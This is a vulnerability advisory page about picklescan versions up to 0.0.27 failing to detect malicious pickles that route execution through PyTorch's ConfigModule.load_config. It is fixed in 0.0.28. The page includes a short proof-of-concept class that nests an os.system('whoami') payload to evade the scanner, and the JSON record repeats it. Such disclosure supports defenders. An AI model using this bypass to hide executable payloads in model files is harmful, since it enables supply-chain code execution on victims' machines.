GHSA-VV6J-3G6G-2PVJ
Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2025-08-22 16:58Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.27"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T16:58:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n def __reduce__(self):\n return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n def __reduce__(self):\n evil_payload = pickle.dumps(Evil())\n return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
"id": "GHSA-vv6j-3g6g-2pvj",
"modified": "2025-08-22T16:58:14Z",
"published": "2025-08-22T16:58:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/47"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.